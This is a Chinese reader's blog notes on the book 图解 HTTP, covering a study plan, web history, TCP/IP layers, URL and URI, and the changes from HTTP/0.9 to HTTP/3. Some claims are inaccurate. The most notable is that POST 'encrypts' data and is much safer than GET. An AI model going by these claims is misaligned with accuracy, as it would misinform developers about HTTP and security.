写点什么

终、《图解 HTTP》读书笔记 - 汇总篇(总结)

作者:懒时小窝
  • 2022 年 8 月 12 日
    广东
  • 本文字数:67203 字

    阅读完需:约 220 分钟

引言

又一本网络基础的书啃完了,这本书建议结合[《网络是怎么样连接的》读书笔记 - 汇总篇]这一篇读书笔记食用(当然也可以直接看原书)。


把这两本书啃完对于整个互联网的基础脉络有一个大概的认知


在阅读这份汇总笔记之前,我们先从全局看一下大概讲了什么内容。


幕布地址:读书笔记大纲


介绍

HTTP 的好书《HTTP 权威指南》,以及网络编程必看书《TCP/IP 详解,卷 1》都比较难啃。我相信如果一上来就看这两本书,基本没有多少人能坚持,更多的可能是看了几页之后立马丢到一边成为显示器脚垫。


这时候应该选择降级选择更低一档的入门书,也就是这篇读书笔记对应的书籍《图解 HTTP》。


这本书的优点是简单了解 HTTP 的神秘面纱同时,能让你坚持看下不会觉得枯燥,虽然想要成为强者必须要经过上面两本书的磨练,但是在等级不够的时候,更建议好好静心心来看这本书。


看完这本之后,可以再看看《图解 TCP/IP》,算是啃黑皮书之前的最后一道内功,这本书对于 OSI 模型七层架构以及 TCP/IP 模型进一步阐述。


再次强调,没有网络基础,不要上来先看《TCP/IP 详解》,否则你会感觉在看天书(过来人的经验)。

资源链接

《图解 HTTP》电子书资源链接:


链接: https://pan.baidu.com/s/1ZacpnZqfuqSaaL3meXR7aA?pwd=7om2 提取码: 7om2

如果失效可以到公众号“懒时小窝” 回复“图解 HTTP”获取图书资源。

章节梳理

入门章节(概览整个 HTTP,了解 HTTP 定位)

第一章(掌握):WEB 基础和 HTTP 的诞生,TCP/IP 协议、URL 和 URI 的了解,如果已经很熟悉了可以跳过。


#知识点


  1. 概览 HTTP 诞生历史。文中提供一个中文翻译网站可以对照阅读。

  2. 扩展:HTTP3.0 都已经出来了,为什么 2.0 推进还是只有一半?题外话讨论

  3. TCP/IP 协议概览,了解基本定义。

  4. 区分 URL 和 URI。

重点章节(必看并且消化以及自我复述)

第二章(掌握):HTTP 重点特性介绍。了解 HTTP 协议重点升级内容,理解加记忆为主。读书笔记补充了 HTTPS 的历史(必看)


#知识点


  1. 请求和响应报文的结构。

  2. HTTP 协议进化历史,介绍不同 HTTP 版本从无到有的重大特性改变。(重点)

  3. HTTP 几个比较常见的问题讨论。


第三章(掌握):HTTP 报文信息。报文是 WEB 的核心,需要重点掌握。


#知识点


  1. HTTP 请求报文结构。

  2. 请求报文和主体差异,介绍有关报文和主体相关的一些概念信息。

  3. 内容协商:什么是内容协商?关于内容协商的几种方式。


第七章(掌握):重点是 SSL/TLS 协议的掌握,细节比较多。


#知识点


  1. HTTPS 是什么?HTTP 有哪些缺点?

  2. SSL、TLS 为啥总是被放到一起,有什么区别?

  3. SSL、TLS 历史背景。

  4. SSL 的加密细节,加密算法了解。

  5. SSL 的加密流程。


第六章(熟悉):介绍 HTTP 头部内容。不需要记忆背诵,只需要用到的时候查表即可,此外记住一些常见头部应付面试。


#知识点


  1. HTTP 请求报文结构。

  2. 请求报文和主体差异,介绍有关报文和主体相关的一些概念信息。

  3. 内容协商:什么是内容协商?关于内容协商的几种方式。

非重点章节(知识点模糊则建议仔细阅读)

第四章(熟悉):常见 HTTP 状态码介绍,虽然同样也不需要记忆,只需要用到的时候查表,但是作为开发人员,常见的一些响应码需要掌握并且注意细节。


#知识点


  1. 状态码定义的 IETF 协议规范,使用 RFC 7231 作为协议参考。

  2. 常见状态码定义,以及在 RFC 7231 中的协议定义参考

  3. 如何选择合适的状态码,这里仅介绍了 GET/POST/HEAD 三个最常用的状态码定义参考。


第八章(拓展):身份认证方式的扩展阅读。重点熟悉掌握 SSL 认证,细节很多。(和第七章有重合,书籍编排问题)


#知识点


  1. 身份认证的几种常见方式

  2. BASIC 认证(基本认证)

  3. DIGEST 认证(摘要认证)

  4. SSL 客户端认证

  5. FormBase 认证(表单认证)

  6. 重点介绍 SSL 认证细节,其他认证方式可以不看或者跳过。

  7. Keberos 认证和 NTLM 认证,Keberos 认证是大数据身份认证的事实标准,大数据相关领域工作者有必要关注。

选看章节(非重点,大部分可以跳,小部分需了解)

第十一章(了解):RSS 介绍,WEB 攻击与防护。WEB 攻击部分有时候面试会问到,建议了解一下。


#知识点


  1. RSS 历史介绍,RSS 的存在意义和价值,个人认为很适合自主学习的人使用。

  2. WEB 攻击手段介绍,了解基础和常见的攻击手段,这些攻击手段离我们日常生活并不远。

  3. 关于瓶颈和未来发展是由于写书时效性产生的一些“过时”内容,可以跳过。


第十章(跳过):构建 WEB 内容:和 WEB 有关搭配组件概念。也是泛泛而谈。


第九章(跳过):HTTP 的瓶颈和未来发展。在写这本书的时候 HTTP2.0 还没出来,现在 HTTP3.0 都已经发展了不少了=-=,建议看看读书笔记部分的第二个大章介绍。


第五章(跳过):介绍代理、网关、隧道的大致概念。其实就是介紹了部分互联网架构组件,讲的过于浅并且编排不是很好,建议看《网络是怎么样连接的》,另外自荐一下自己的读书笔记。

附录

虽然标题起名叫“附录”,实际上是个人搜集笔记而已。


附录部分是把之前各个章节参考的各种文章和资料汇总一遍,如果你也想阅读这本书,相信这些内容对你一定有帮助。

历史文章汇总

如果不喜欢又臭又长的文章,建议拆分阅读,体验更佳,本文为汇总实际上就是把这些文章合并到一起阅读。


当然不一定非按我的编排方式,建议根据自己的习惯来看即可。

入门章节

[《图解HTTP》 - WEB和网络基础]

重点章节

[《图解HTTP》- HTTP协议历史发展(重点)]


[《图解HTTP》- 报文内的 HTTP信息]


[《图解HTTP》 - HTTPS]


[《图解HTTP》- HTTP协作服务器]

非重点章节(知识点模糊则建议仔细阅读)

[《图解HTTP》- 状态码]


[《图解HTTP》- 用户身份认证]

选看章节(非重点,大部分可以跳,小部分需了解)

[《图解HTTP》- RSS和网络攻击]

附录

[《图解HTTP》读书笔记 - 附录]

正文部分

一、《图解 HTTP》- WEB 和网络基础

知识点

  1. 概览 HTTP 诞生历史。文中提供一个中文翻译网站可以对照阅读。

  2. 扩展:HTTP3.0 都已经出来了,为什么 2.0 推进还是只有一半?题外话讨论

  3. TCP/IP 协议概览,了解基本定义。

  4. 区分 URL 和 URI。

1.1 本章重点

开头部分是关于 WEB 和网络历史介绍,所以没有多少需要理解和记忆的内容。网络基础 TCP/IP 的部分是整个互联网的核心,建议多看几遍理解和消化。


WEB 的传输依赖 HTTP(HyperText Transfer Protocol,超文本传输协议 1 )的协议作为规范,HTTP 的工作是完成从客户端到服务器端等一系列运作流程,为了保证两台不同的设备能正常沟通,两者需要遵守相同的规则。


目前 HTTP 已经发展到 3.0 了,但是这本书写下来的时候 2.0 还在起草,所以可以认为是一本比较“老”的书,很多地方需要查阅当前的资料进行纠正。

1.2 HTTP 诞生

1989 年 3 月 HTTP 在少数几个人手中诞生。CERN(欧洲核子研究组织)的蒂姆 • 伯纳斯 - 李(Tim BernersLee)提出网络通信的设想。


1990 年 11 月,CERN 成功研发了世界上第一台 Web 服务器和 Web 浏 览器。


1990 年,大家针对 HTML 1.0 草案进行了讨论,因 HTML 1.0 中存在 多处模糊不清的部分,草案被直接废弃了。


1993 年 1 月,现代浏览器的祖先 NCSA(National Center for Supercomputer Applications,美国国家超级计算机应用中心)研发的 Mosaic 问世了。同年秋天发布 Windows 版和 Macintosh 版面世。


1994 年 的 12 月,时代的眼泪网景通信公司发布了 Netscape Navigator 1.0,1995 年微软公司发布臭名昭著的 Internet Explorer 1.0 和 2.0,随后 IE 折磨开发人员数十年的历史开始。


这里有一个互联网比较知名的历史,那就是关于微软和网景之间的浏览器争夺,感兴趣的同学可以查查这一段历史,微软最终凭借 Windows 平台的客户粘性绑定以及免费赢得胜利,网景虽然赢了官司但是浏览器市场被 Windows 垄断逐渐没落,毕竟 explore 不收费谁奈何的了。


现在的 FireFox 浏览器前身就是网景,不过浏览器内核却是谷歌一家独大,Edge 在 chrome 内核以及自身优化的加持下也可圈可点,但是微软利用平台强制绑定客户的行为依旧可见一二,这都是现代的用户可以感知的。


另外值得一提的是 3W 的构建包含三种技术:


  • SGML(Standard Generalized Markup Language,标准通用标记语言),是最早的超文本格式的最高层次标准。可以定义标记语言的元语言,甚至可以定义不必采用< >的常规方式,因为太复杂因而难以普及。后续的 HTTP 和 XML 都可以看作这个协议的扩展和拆分和简化。

  • HTML(HyperText Markup Language,超文本标记语言)。

  • URL(Uniform12 Resource Locator,统一资源定位符)。

1.3 HTTP 历史简述

HTTP 发展到现在也基本所有网站都是 HTTP1.1 版本作为标准,自 1999 年发布的 RFC2616 之后发布过一个版本 RFC723。


这部分内容在第二章中会再次重点扩展和讨论


**RFC7231 协议在线阅读:


https://tools.ietf.org/html/rfc7231


历史发展


感兴趣可以点击协议号查看原文。


  • HTTP/0.9:HTTP 于 1990 年问世,这个版本可以看作是 1.0 之前的雏形,因为没有作为标准正式版建立,所以被叫做为 0.9。

  • HTTP/1.0:HTTP 正式作为标准被公布是在 1996 年的 5 月,标准号为RFC1945(点击链接查看白皮书)。

  • HTTP/1.1:1997 年 1 月公布,直到现在依然还有大量的网站在使用,最初标准为RFC2068,之后发布的修订版 RFC2616 ,目前最新版本为rfc7231

  • HTTP/2.0:HTTP/2 是 HTTP 协议自 1999 年 HTTP 1.1 的改进版RFC2616,发布后的首个更新,主要基于SPDY协议。(RFC 7231 时后面修订的)

  • 它由互联网工程任务组(IETF)的 Hypertext Transfer Protocol Bis(httpbis)工作小组进行开发。该组织于 2014 年 12 月将 HTTP/2 标准提议递交至IESG(英语:Internet_Engineering_Steering_Group)进行讨论,于 2015 年 2 月 17 日被批准。

  • HTTP2.0 的标准号:RFC 7540


中英文对照阅读


最后在网上找到一个关于 HTTP 协议的翻译网站,项目作者貌似弃坑很多年没有更新,但是对于英语基础较薄弱的同学可以作为参考:


rfc7540-translation-zh_cn

1.3.1 HTTP/2.0 的特点

HTTP/2.0 的目标是改善用户在使用 Web 时的速度体验。


为了支撑这一实现,官方提出了三种技术:


  • SPDY(SPDY HTTP Speed):谷歌提出用于提高 HTTP 访问效率以及解决 HTTP1.X 中管道化的缺陷,意图是缩短整个请求时间。

  • Mobility Network-Friendly:由微软公司起草,是用于改善并提高移动端通信时的通信速度和性能的标准。见名知意它是被用来实现手机高速上网的一个协议。

  • HTTP Upgrade (Network-Friendly HTTP Upgrade):同样是对于移动端的一些改进意见。


1.3.2 HTTP2.0 题外话

这本书写于 13,14 年左右,HTTP2.0 到现在都推广快接近十年了,但是推广速度个人认为一般。


作为读者肯定好奇现在到底普及多少了,这里找到一个可供参考的网站。


从纸面数据来看截止,到目前国外的统计目前使用 HTTP/2 的还不到一半,也就意味着还有一大半的服务器还在使用 HTTP1.1。



这就引申了下一个话题,3.0 都快要出来了为什么 2.0 还没全面普及?


这就要了解为什么 2.0 的普及这么难。


首先是 HTTP1.0 中请求非常纯粹,一个请求就是一次 HTTP 连接,请求完成就断开。


于是 HTTP1.X 升级了一下,可以通过 Keep-alive 优化 TCP 的建立和断开,一次连接也可以对应多个请求。


然而谷歌是不会满足这样的效率的,谷歌推动了 HTTP2.0 的升级,针对 HTTP1.X 的请求响应必须要排队的问题处理,使用多路复用完成整个请求。


这样当然对于效果显著提升,为什么大家都不用呢?


为什么协议在进步,看起来效率在显著提升,为什么 HTTP 的升级难以推进?


表层来看


真实的项目基本需要依赖框架完成,有一些旧系统旧版本的框架不是想升级就升级的,或者说压根懒得升级,因为没有显著的带来效益的好处。甚至有可能搞出问题得不偿失。


更深层次的原因


HTTP2.0 自带 HTTPS,这样实际上就导致一个冲突问题,实际的项目大多需要使用 Nginx 反向代理。


但是 Ngnix 也可以开启 Http2.0 的支持呀,为什么依然坚持要用 Nginx 做反向代理而不是直接使用 HTTP2.0 呢?


这样的原因可能来自 TCP 长链接,在 Nginx 部署的情况下,实际上请求不需要走一长串的路由而是直接和 Nginx 交互。


但是 HTTP2.0 可以通过多点部署以及多个请求顺序并行,通过集群和负载均衡可以很好的满足服务器要求。


在框架当中如果把请求发给本地,局限单台机器的核数量,并发效率实际上和 HTTP1.X 差不多,因为任务多起来依然需要排队。


如果开启 HTTP2.0 并且交给 Nginx 拆分模块并且简化功能,不改变开发模式的情况下又可以利用集群。


此外,最关键的一个原因,HTTP2.0 虽然解决了 HTTP 多路复用并发请求的问题,但是 TCP 的问题并没有被解决。


所以大体上是 TCP 的锅,其次是 Nginx 够强,以及框架升级的高成本问题,最后是期待 HTTP3.0 一步到胃。


当然不要认为 50% 普及率很低,从另一个角度来看访问量很大日常使用的网站基本都有 HTT P2.0 的加成。

1.4 TCP/IP

理解 HTTP 必然需要了解 TCP/IP。


HTTP 协议是应用层的协议,如果是金字塔结构它处于模型的顶层,但是实际上金字塔的核心是 TCP/IP。


HTTP 是在此基础上做支撑的,现代的网络架构是基于 TCP/IP 模型建立的,HTTP 也只是其中的一部分。


TCP/IP 是互联网相关的各类协议族的总称,这是一种说法,表示单单是字面意思的 TCP 协议和 IP 协议。但是另一种说法是只是代表了 TCP 和 IP 这两种协议。


TCP/IP 协议族按层次分别分 为以下 5 层:应用层、传输层、网络层和数据链路层,以及和硬件密切相关的物理层。


对于 TCP/IP 感兴趣,可以阅读《图解 TCP/IP》和《TCP/IP 详解》


层次化的设计意味着便于修改,也就是常说的高内聚低耦合在TCP/IP协议得到充分体现。


但是实际上这种设计不是完全没有缺点的,那就是每一层虽然可以升级但是无法突破原有的框架,TCP 协议本身限制也是导致 HTTP 协议难以推动升级的一个重要原因。


那么《TCP/IP 详解,卷 1》中开头介绍了 OSI 模型又是啥?


实际上是早期互联网协议构建者的美好愿景,企图通过这一个模型实现一个极强扩展性的互联网架构,说难听点就是把标准给完全垄断掉,让以后的架构无牌可打你们都得听我的。


当然理想和美好现实很骨感,由于 OSI 模型结构的层级过多并且难以推动和维护,后续被更为精简好理解的 TCP/IP 快速取代。


所以 OSI 模型是历史斗争的产物,但是却是实际上网络模型协议制定标杆, TCP/IP 模型借助 UNIX 最终存活下来。



根据模型介绍各层都做了什么?


  1. 应用层:决定为用户提供服务的应用程序相关活动。

  2. 传输层:传输层主要是协议之间的数据传输,包含各种丰富多样的协议,包括但是不限于 TCP 协议,比如 TCP(Transmission Control Protocol,传输控制协议)和 UDP(User Data Protocol,用户数据报协议)。

  3. 网络层:网络层用来处理在网络上流动的数据包,最终转化为网络包的最小单位进行传输。

  4. 数据链路层:也可以认为是看的见的硬件部分,比如网卡,硬件上的范畴均在链路层的作用范围之内。

  5. 物理层:也就是网线和集线器等网络传输支持设备,从粗略角度来看可以直接看作网线。


下面是整个网络数据包的封装过程,如果想要了解整个过程可以查看 《网络是怎么样连接的》这本书的第二章部分。


1.4.1 IP、TCP 和 DNS

按照协议层次划分:IP(Internet Protocol)网际协议位于网络层,TCP 位于传输层,所以 TCP/IP 协议除了代表一个协议族群之外,TCP 协议和 IP 协议本身其实就不在一个层级,所以不能混为一谈。


IP 协议(Internet Protocol)


IP(Internet Protocol)网际协议位于网络层


IP 协议的主要工作是确保信息能准确传输,为了保证数据能正确的送达,IP 协议需要确保 MAC 地址和 IP 地址的正确,IP 地址指明了节点被分配到的地址,MAC 地址是指网卡所属的固定地址。


IP 地址由于内外网通信的缘故有可能会存在地址转化,地址转化依赖的是地址转化设备,但是 MAC 地址是从网卡生产之后就固定了世界上唯一的网卡 MAC 地址。


ARP 协议凭借 MAC 地址进行通信,接着便是通过类似快递导航寻找站点的方式进行通信传输,整个核心是通过“查表”方式进行。


ARP 协议(Address Resolution Protocol):ARP 是一种用以解析地址的协议,根据通信方的 IP 地址就可以反查出对应的 MAC 地址。



TCP 协议


TCP 协议位于传输层,提供字节流服务,所谓字节流服务是指大块数据拆分为报文段, 而可靠服务指的是把数据传输给对方,同时 TCP 为了保证大段数据的传输会进行数据切割。


为了确保数据准确传输,整个 TCP 还需要依赖三次握手,关于三次握手的过程这里也不做过多讨论,可以看《网络是怎么样连接的》读书笔记内容。



DNS 服务


用户通常使用主机名或域名来访问对方的计算机,而不是直接通过 IP 地址访问。


DNS 是负责域名和 IP 转化的服务,在请求目标服务器之前,通常需要根据 DNS 服务获取域名对应的 IP 地址。


各协议和 HTTP 关系


注意在书中省略有关 MAC 头部的内容。


整个图画算是最为入门级的角度,实际上稍微深入就会发现没有那么简单,这幅图也是画的过于笼统,简单看看角色的基本职责即可。


1.4.2 URL 和 URI

区别和对比


首先得区分概念本身:


URL:表示统一资源定位,也就是我们访问 WEB 服务器在浏览器顶部的那一串字符串。


URI: 其实这里包含三个组件,URI 全称 是 Uniform Resource Identifier,RFC2396 在规范的 1.1 分别对于这三个单词进行下面的定义,整体来看 URI 就是由某个协议方案表示的资源的定位标识符。


  • Uniform:规定统一的格式可方便处理多种不同类型的资源,也就是常说的“习惯优于配置”,具体案例是比如 ftp 是 ftp 开头请求走协议,http 开头请求走 http 协议。

  • Resource:抽象定义资源是“任何可以访问的东西”,比如文档,图片,网络文件等等全都可以看做资源。

  • Identifier:表示可以标识的对象,也叫做标识符。


最快速的区分可以直接认为 URI 是协议和标准,URL 是对于 URI 协议标准的“直接实现”和“表示”。


URI 属于互联网顶级规范的行列,只有符合 URI 规范的请求才能被识别,由隶属于国际互联网资源管理的非营利社团 ICANN(Internet Corporation forAssigned Names and Numbers,互联网名称与数字地址分配机构)的 IANA(Internet Assigned Numbers Authority,互联网号码分配局)管理颁布。


最后是有关 URL 定义的两个直观例子:


                    hierarchical part        ┌───────────────────┴─────────────────────┐                    authority               path        ┌───────────────┴───────────────┐┌───┴────┐  abc://username:password@example.com:123/path/data?key=value&key2=value2#fragid1  └┬┘   └───────┬───────┘ └────┬────┘ └┬┘           └─────────┬─────────┘ └──┬──┘scheme  user information     host     port                  query         fragment
urn:example:mammal:monotreme:echidna └┬┘ └──────────────┬───────────────┘scheme path
复制代码


当然官方在白皮书也给了一些案例:


   The following examples illustrate URI that are in common use.
ftp://ftp.is.co.za/rfc/rfc1808.txt -- ftp scheme for File Transfer Protocol services
gopher://spinaltap.micro.umn.edu/00/Weather/California/Los%20Angeles -- gopher scheme for Gopher and Gopher+ Protocol services
http://www.math.uio.no/faq/compression-faq/part1.html -- http scheme for Hypertext Transfer Protocol services
mailto:mduerst@ifi.unizh.ch -- mailto scheme for electronic mail addresses
news:comp.infosystems.www.servers.unix -- news scheme for USENET news groups and articles
telnet://melvyl.ucop.edu/ -- telnet scheme for interactive services via the TELNET Protocol
复制代码


最后我们简单来对比 URL 和 URI,可以看到 URI 划定了 URL 的“分类”,所以 URL 可以看做是 URI 的子集。


URL 格式



这里主要介绍用的比较少的片段标识符,片段标识符表示已获取资源中的子资源


注意互联网中并不是所有的请求都会符合 RFC 协议的,RFC 指的是 HTTP 协议的意见修正书,这些内容多数情况下应用程序都会遵守,但是凡事总有特例。


如果不参考 RFC 协议进行通信那么就需要自己的协议完成客户端之间的通信,比较典型的例子比如 RPC 协议就是经典的非 HTTP 协议通信实现,当然这种方案存在不少的问题和争议。

1.5 总结

和多数技术书类似,第一章算是概览的一个章节,大致介绍了 HTTP 的基础背景。


当然这本书确实很老,很多协议和标准到现在其实早就不在使用了,但是从另一个角度来看 IP、TCP、DNS 这些东西基本都是万年不变的,所以不需要担心会过时。


关于 HTTP2.0 的讨论是笔记中的扩展部分,在这一部分大致讨论了一下为什么 HTTP2.0 难以推进。


实际上 HTTP2.0 在各大主流网站都有普及,国内的一些大厂商基本也是第一时间跟进的。

二、《图解 HTTP》- HTTP 协议历史发展(重点)

知识点

  1. 请求和响应报文的结构。

  2. HTTP 协议进化历史,介绍不同 HTTP 版本从无到有的重大特性改变。(重点)

  3. HTTP 几个比较常见的问题讨论。

2.0 介绍

这一章节基本上大部分为个人扩展,因为书中的内容讲的实在是比较浅。本文内容非常长,另外哪怕这么长也只是讲到了 HTTP 协议的一部分而已,HTTP 协议本身十分复杂。

2.1 请求和响应报文结构

请求报文的基本内容:



请求内容需要客户端发给服务端:


GET /index.htm HTTP/1.1 Host: hackr.jp
复制代码


响应报文的基本内容:



服务器按照请求内容处理结果返回:


开头部分是 HTTP 协议版本,紧接着是状态码 200 以及原因短语。


下一行则包含了创建响应的日期时间,包括了首部字段的属性。


HTTP/1.1 200 OK Date: Tue, 10 Jul 2012 06:50:15 GMT Content-Length: 362 Content-Type: text/html
<html> ……
复制代码

2.2 HTTP 进化历史

2.2.1 概览

我们复盘 HTTP 的进化历史,下面是抛去所有细节,整个 HTTP 连接大致的进化路线。


注意:有关协议的升级内容挑了具备代表性的部分,完整内容需要阅读 RFC 原始协议了解


  • http0.9:只具备最基础的 HTTP 连接模型,在非常短的一段时间内存在,后面被快速完善。

  • http1.0: 1.0 版本中每个 TCP 连接只能发送一个请求,数据发送完毕连接就关闭,如果还要请求其他资源,就必须重新建立 TCP 连接。(TCP 为了保证正确性和可靠性需要客户端和服务器三次握手和四次挥手,因此建立连接成本很高)

  • http1.1:

  • 长连接:新增 Connection 字段,默认为 keep-alive,保持连接不断开,即 TCP 连接默认不关闭,可以被多个请求复用;

  • 管道化:在同一个 TCP 连接中,客户端可以发送多个请求,但响应的顺序还是按照请求的顺序返回,在服务端只有处理完一个回应,才会进行下一个回应;

  • host 字段:Host 字段用来指定服务器的域名,这样就可以将多种请求发往同一台服务器上的不同网站,提高了机器的复用,这个也是重要的优化;

  • HTTP/2:

  • 二进制格式:1.x 是文本协议,然而 2.0 是以二进制帧为基本单位,可以说是一个二进制协议,将所有传输的信息分割为消息和帧,并采用二进制格式的编码,一帧中包含数据和标识符,使得网络传输变得高效而灵活;

  • 多路复用:2.0 版本的多路复用多个请求共用一个连接,多个请求可以同时在一个 TCP 连接上并发,主要借助于二进制帧中的标识进行区分实现链路的复用;

  • 头部压缩:2.0 版本使用使用 HPACK 算法对头部 header 数据进行压缩,从而减少请求的大小提高效率,这个非常好理解,之前每次发送都要带相同的 header,显得很冗余,2.0 版本对头部信息进行增量更新有效减少了头部数据的传输;

  • 服务端推送:在 2.0 版本允许服务器主动向客户端发送资源,这样在客户端可以起到加速的作用;

  • HTTP/3:


​ 这个版本是划时代的改变,在 HTTP/3 中,将弃用TCP协议,改为使用基于UDP协议的QUIC协议实现。需要注意 QUIC 是谷歌提出的(和 2.0 的 SPDY 一样),QUIC 指的是快速 UDP Internet 连接,既然使用了 UDP,那么也意味着网络可能存在丢包和稳定性下降。谷歌当然不会让这样的事情发生,所以他们提出的 QUIC 既可以保证稳定性,又可以保证 SSL 的兼容,因为 HTTP3 上来就会和 TLS1.3 一起上线。


​ 基于这些原因,制定网络协议 IETF 的人马上基本都同意了 QUIC 的提案(太好了又能白嫖成果),于是 HTTP3.0 就这样来了。但是这只是最基本的草案,后续的讨论中希望 QUIC 可以兼容其他的传输协议,最终的排序如下 IP / UDP / QUIC / HTTP。另外 TLS 有一个细节优化是在进行连接的时候浏览器第一次就把自己的密钥交换的素材发给服务器,这样进一步缩短了交换的时间。


​ 为什么 HTTP3.0 要从协议根本上动刀,那是因为 HTTP/2 虽然解决了 HTTP 协议无法多路复用的问题,但是没有从 TCP 层面解决问题,具体的 TCP 问题体现如下:


  • 队头阻塞HTTP/2 多个请求跑在一个 TCP 连接中,如果此时序号较低的网络请求被阻塞,那么即使序列号较高的 TCP 段已经被接收了,应用层也无法从内核中读取到这部分数据,从 HTTP 视角看就是多个请求被阻塞了,并且页面也只是加载了一部分内容;

  • TCPTLS 握手时延缩短TCL 三次握手和 TLS 四次握手,共有 3-RTT 的时延,HTPT/3 最终压缩到 1 RTT(难以想象有多快);

  • 连接迁移需要重新连接,移动设备从 4G 网络环境切换到 WIFI 时,由于 TCP 是基于四元组来确认一条 TCP 连接的,那么网络环境变化后,就会导致 IP 地址或端口变化,于是 TCP 只能断开连接,然后再重新建立连接,切换网络环境的成本高;


RTT:RTT Round Trip Time 的缩写,简单来说就是通信一来一回的时间


下面是官方对于 RTT 速度缩短的对比,最终只在初次连接需要 1RTT 的密钥交换,之后的连接均为 0RTT!


2.2.2 HTTP 0.9

这个版本基本就是草稿纸协议,但是它具备了 HTTP 最原始的基础模型,比如只有 GET 命令,没有 Header 信息,传达的目的地也十分简单,没有多重数据格式,只有最简单的文本。


此外服务器一次建立发送请求内容之后就会立马关闭 TCP 连接,这时候的版本一个 TCP 还只能发送一个 HTTP 请求,采用一应一答的方式。


当然在后面的版本中对于这些内容进行升级改进。

2.2.3 HTTP 1.0

协议原文:https://datatracker.ietf.org/doc/html/rfc1945


显然 HTTP 0.9 缺陷非常多并且不能满足网络传输要求。浏览器现在需要传输更为复杂的图片,脚本,音频视频数据。


1996 年 HTTP 进行了一次大升级,主要的更新如下:


  • 增加更多请求方法:POST、HEAD

  • 添加 Header 头部支持更多的情况变化

  • 第一次引入协议版本号的概念

  • 传输不再限于文本数据

  • 添加响应状态码


在 HTTP1.0 协议原文中开头有一句话:


原文:
Status of This Memo:
This memo provides information for the Internet community. This memo
does not specify an Internet standard of any kind. Distribution of
this memo is unlimited.
复制代码


这份协议用了 memo 这个单词,memo 的意思是备忘录,也就是说虽然洋洋洒洒写了一大堆看似类似标准的规定,但是实际上还是草稿,没有规定任何的协议和标准,另外这份协议是在麻省理工的一个分校起草的,所以可以认为是讨论之后临时的一份方案。


HTTP1.0 主要改动点介绍


在了解了这是一份备忘录的前提下,我们来介绍协议的一些重要概念提出。


HTTP1.0 定义了无状态、无连接的应用层协议,纸面化定义了 HTTP 协议本身。


无状态、无连接定义:HTTP1.0 规定服务器和客户端之间可以保持短暂连接,每次请求都需要发起一次新的 TCP 连接(无连接),连接完成之后立马断开连接,同时服务器不负责记录过去的请求(无状态)。


这样就出现一个问题,那就是通常一次访问需要多个 HTTP 请求,所以每一次请求都要建立一次 TCP 连接效率非常低,此外还存在两个比较严重的问题:队头阻塞无法复用连接


队头阻塞:因为 TCP 连接是类似排队的方式发送,如果前一个请求没有到达或者丢失,后一个请求就需要等待前面的请求完成或者完成重传才能进行请求。


无法复用连接:TCO 连接资源本身就是有限的,同时因为 TCP 自身调节(滑动窗口)的关系,TCP 为了防止网络拥堵会有一个慢启动的过程。


RTT 时间计算:TCP 三次握手共计需要至少 1.5 个 RTT,注意是 HTTP 连接不是 HTTPS 连接。


滑动窗口:简单理解是 TCP 提供一种可以让「发送方」根据「接收方」的实际接收能力控制发送的数据量的机制

2.2.4 HTTP1.1

HTTP 1.1 的升级改动较大,主要的改动点是解决建立连接传输数据的问题,在 HTTP1.1 中引入了下面的内容进行改进:


  • 长连接:也就是Keep-alive头部字段,让 TCP 默认不进行关闭,保证一个 TCP 可以传递多个 HTTP 请求

  • 并发连接:一个域名允许指定多个长连接(注意如果超出上限依然阻塞);

  • 管道机制:一个 TCP 可以同时发送多个请求(但是实际效果很鸡肋还会增加服务器压力,所以通常被禁用);

  • 增加更多方法:PUT、DELETE、OPTIONS、PATCH 等;

  • HTTP1.0 新增缓存字段(If-Modified-Since, If-None-Match),而 HTTP1.1 则引入了更多字段,比如Entity tag,If-Unmodified-Since, If-Match, If-None-Match等更多缓存头部的缓存策略。

  • 允许数据分块传输(Chunked),对于大数据传输很重要;

  • 强制使用 Host 头部,为互联网的主机托管创造条件;

  • 请求头中引入了 支持断点续传的 range 字段;


下面为书中第二章节记录的笔记内容,写书日期是 HTTP1.1 蓬勃发展的时候 ,基本对应了 HTTP1.1 协议中的一些显著特点。


无状态协议


HTTP 协议自身不具备保存之前发送过的请求或响应的功能,换句话说 HTTP 协议本身只保证协议报文的格式符合 HTTP 的要求,除此之外的传输和网络通信其实都是需要依赖更下层的协议完成。


HTTP 设计成如此简单的形式,本质上就是除开协议本身外的内容一切都不考虑,达到高速传输的效果。但是因为 HTTP 的简单粗暴,协议本身需要很多辅助的组件来完成 WEB 的各种访问效果,比如保持登陆状态,保存近期的浏览器访问信息,记忆密码等功能,这些都需要 Cookie 以及 Session 来完成。


HTTP/1.1 引入了 Cookie 以及 Session 协助 HTTP 完成状态存储等操作。


请求资源定位


HTTP 大多数时候是通过 URL 的域名来访问资源的,定位 URL 要访问的真实服务需要 DNS 的配合,DNS 是什么这里不再赘述。


如果是对服务器访问请求,可以通过 * 的方式发起请求,比如OPTIONS * HTTP/1.1


请求方法


实际上用的比较多的还是GETPOST


GET:通常视为无需要服务端校验可以直接通过 URL 公开访问的资源,但是通常会在 URL 中携带大量的请求参数,但是这些参数通常无关敏感信息所以放在 URL 当中非常方便简单。


POST:通常情况为表单提交的参数,需要服务端的拦截校验才能获取,比如下载文件或者访问一些敏感资源,实际上 POST 请求要比 GET 请求使用更为频繁,因为 POST 请求对于请求的数据进行“加密”保护。相比于 GET 请求要安全和靠谱很多。



持久连接


所谓的持久连接包含一定的历史原因,HTTP1.0 最早期每次访问和响应都是一些非常小的资源交互,所以一次请求结束之后基本就可以和服务端断开,等到下一次需要再次请求再次连接。


但是随着互联网发展,资源包越来越大,对于互联网的需求和挑战也越来越大。


在后续 HTTP/1.1 中所有的连接默认都是持久连接,目的是减少客户端和服务端的频繁请求连接和响应。


支持 HTTP1.1 需要双方都能支持持久连接才能完成通信。


管道化


注意 HTTP 真正意义上的全双工的协议是在 HTTP/2 才实现的,实现的核心是多路复用


管道化可以看做是为了让半双工的 HTTP1.1 也能支持全双工协议的一种强化,通俗的话说就是围魏救赵


全双工协议:指的是 HTTP 连接的两端不需要等待响应数据给对方就可以直接发送请求给对方,实现同一时间内同时处理多个请求和响应的功能。


HTTP/1.1 允许多个 http 请求通过一个套接字同时被输出 ,而不用等待相应的响应(这里提示一下管道化同样需要连接双方都支持才能完成)。


需要注意这里本质上是在一个 TCP 请求封装了多次请求然后直接丢给服务端去处理,客户端接下来可以干别的事情,要么等待服务端慢慢等待,要么自己去访问别的资源。


